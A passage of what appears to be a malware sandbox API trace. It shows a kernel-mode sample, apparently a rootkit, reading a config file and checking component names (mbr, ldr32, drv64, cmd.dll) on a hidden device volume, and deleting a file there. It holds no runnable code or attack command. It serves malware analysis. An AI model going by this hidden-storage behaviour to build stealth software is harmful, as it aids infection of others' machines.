(MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c37000 [0118.870] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.870] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0118.870] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0118.870] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.870] IdePortDispatch () returned 0x103 [0118.870] KeWaitForMutexObject () returned 0x0 [0118.870] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.870] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.870] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0118.870] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0118.870] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.870] IdePortDispatch () returned 0x103 [0118.871] KeWaitForMutexObject () returned 0x0 [0118.871] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.871] KeLeaveCriticalRegion () [0118.871] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.871] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.871] KeEnterCriticalRegion () [0118.871] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.871] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.871] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.871] KeLeaveCriticalRegion () [0118.871] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.872] KeEnterCriticalRegion () [0118.872] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.872] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.872] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d67f0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.872] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.872] KeLeaveCriticalRegion () [0118.872] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.872] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.872] KeEnterCriticalRegion () [0118.872] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.872] ExFreePoolWithTag (P=0xfffffa8003bcedc0, Tag=0x0) [0118.872] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.872] KeLeaveCriticalRegion () [0118.872] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.872] ReleaseMutex (hMutex=0xf0) returned 1 [0118.872] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0118.872] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0118.872] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0118.872] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0118.872] KeEnterCriticalRegion () [0118.872] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.872] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.872] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.872] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.872] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.872] IdePortDispatch () returned 0x103 [0118.872] KeWaitForMutexObject () returned 0x0 [0118.873] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.873] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0118.873] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.873] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.873] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.873] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0118.873] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0118.873] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.873] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.873] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0118.873] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.873] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.873] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.873] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.873] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.873] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.873] KeLeaveCriticalRegion () [0118.873] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.873] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0118.873] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0118.873] KeEnterCriticalRegion () [0118.873] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.873] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.873] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.873] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.873] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.873] IdePortDispatch () returned 0x103 [0118.873] KeWaitForMutexObject () returned 0x0 [0118.874] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.874] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0118.874] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.874] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.874] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.874] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0118.874] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0118.874] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.874] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.874] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0118.874] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.874] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.874] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.874] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.874] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.874] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.874] KeLeaveCriticalRegion () [0118.874] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.874] ReleaseMutex (hMutex=0x100) returned 1 [0118.874] Sleep (dwMilliseconds=0x2bf20) [0118.884] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6a0ee6b0, dwHighDateTime=0x1d24fa4)) [0118.884] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0118.884] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.884] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0118.884] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.884] KeEnterCriticalRegion () [0118.884] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.884] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.884] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.884] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.884] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.884] IdePortDispatch () returned 0x103 [0118.884] KeWaitForMutexObject () returned 0x0 [0118.884] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.884] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.884] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.884] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.884] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.884] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039c9b10 [0118.884] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.885] KeLeaveCriticalRegion () [0118.885] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.885] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.885] KeEnterCriticalRegion () [0118.885] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.885] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.885] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.885] KeLeaveCriticalRegion () [0118.885] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.885] KeEnterCriticalRegion () [0118.885] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.885] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.885] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.885] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.885] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0118.885] IdePortDispatch () returned 0x103 [0118.885] KeWaitForMutexObject () returned 0x0 [0118.885] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.885] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.885] KeLeaveCriticalRegion () [0118.885] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.885] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.886] KeEnterCriticalRegion () [0118.886] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.886] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c3a000 [0118.886] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.886] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0118.886] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0118.886] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.886] IdePortDispatch () returned 0x103 [0118.886] KeWaitForMutexObject () returned 0x0 [0118.886] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.886] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.886] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0118.886] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0118.886] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.886] IdePortDispatch () returned 0x103 [0118.886] KeWaitForMutexObject () returned 0x0 [0118.886] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.886] KeLeaveCriticalRegion () [0118.886] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.887] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.887] KeEnterCriticalRegion () [0118.887] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.887] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.887] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.887] KeLeaveCriticalRegion () [0118.887] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.887] KeEnterCriticalRegion () [0118.887] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.887] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.887] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bcef20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.887] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.887] KeLeaveCriticalRegion () [0118.887] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.887] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.887] KeEnterCriticalRegion () [0118.888] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.888] ExFreePoolWithTag (P=0xfffffa80039c9b10, Tag=0x0) [0118.888] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.888] KeLeaveCriticalRegion () [0118.888] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.888] ReleaseMutex (hMutex=0xf0) returned 1 [0118.888] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.888] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0118.888] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.888] KeEnterCriticalRegion () [0118.888] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.888] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.888] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.888] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.888] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.888] IdePortDispatch () returned 0x103 [0118.888] KeWaitForMutexObject () returned 0x0 [0118.888] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.888] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.888] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.888] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.888] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.888] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bcee10 [0118.888] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.888] KeLeaveCriticalRegion () [0118.888] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.889] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.889] KeEnterCriticalRegion () [0118.889] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.889] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.889] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.889] KeLeaveCriticalRegion () [0118.889] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.889] KeEnterCriticalRegion () [0118.889] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.889] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.889] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.889] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.889] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0118.889] IdePortDispatch () returned 0x103 [0118.889] KeWaitForMutexObject () returned 0x0 [0118.889] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.889] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.889] KeLeaveCriticalRegion () [0118.889] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.889] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.889] KeEnterCriticalRegion () [0118.889] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.889] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c3b000 [0118.890] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.890] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0118.890] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0118.890] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.890] IdePortDispatch () returned 0x103 [0118.890] KeWaitForMutexObject () returned 0x0 [0118.890] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.890] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.890] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0118.890] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0118.890] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.890] IdePortDispatch () returned 0x103 [0118.890] KeWaitForMutexObject () returned 0x0 [0118.890] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.890] KeLeaveCriticalRegion () [0118.890] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.891] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.891] KeEnterCriticalRegion () [0118.891] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.891] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.891] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.891] KeLeaveCriticalRegion () [0118.891] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.891] KeEnterCriticalRegion () [0118.891] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.891] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.891] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d67f0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.891] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.891] KeLeaveCriticalRegion () [0118.891] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.891] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.891] KeEnterCriticalRegion () [0118.891] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.891] ExFreePoolWithTag (P=0xfffffa8003bcee10, Tag=0x0) [0118.891] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.891] KeLeaveCriticalRegion () [0118.892] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.892] ReleaseMutex (hMutex=0xf0) returned 1 [0118.892] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.892] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0118.892] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.892] KeEnterCriticalRegion () [0118.892] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.892] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.892] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.892] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | 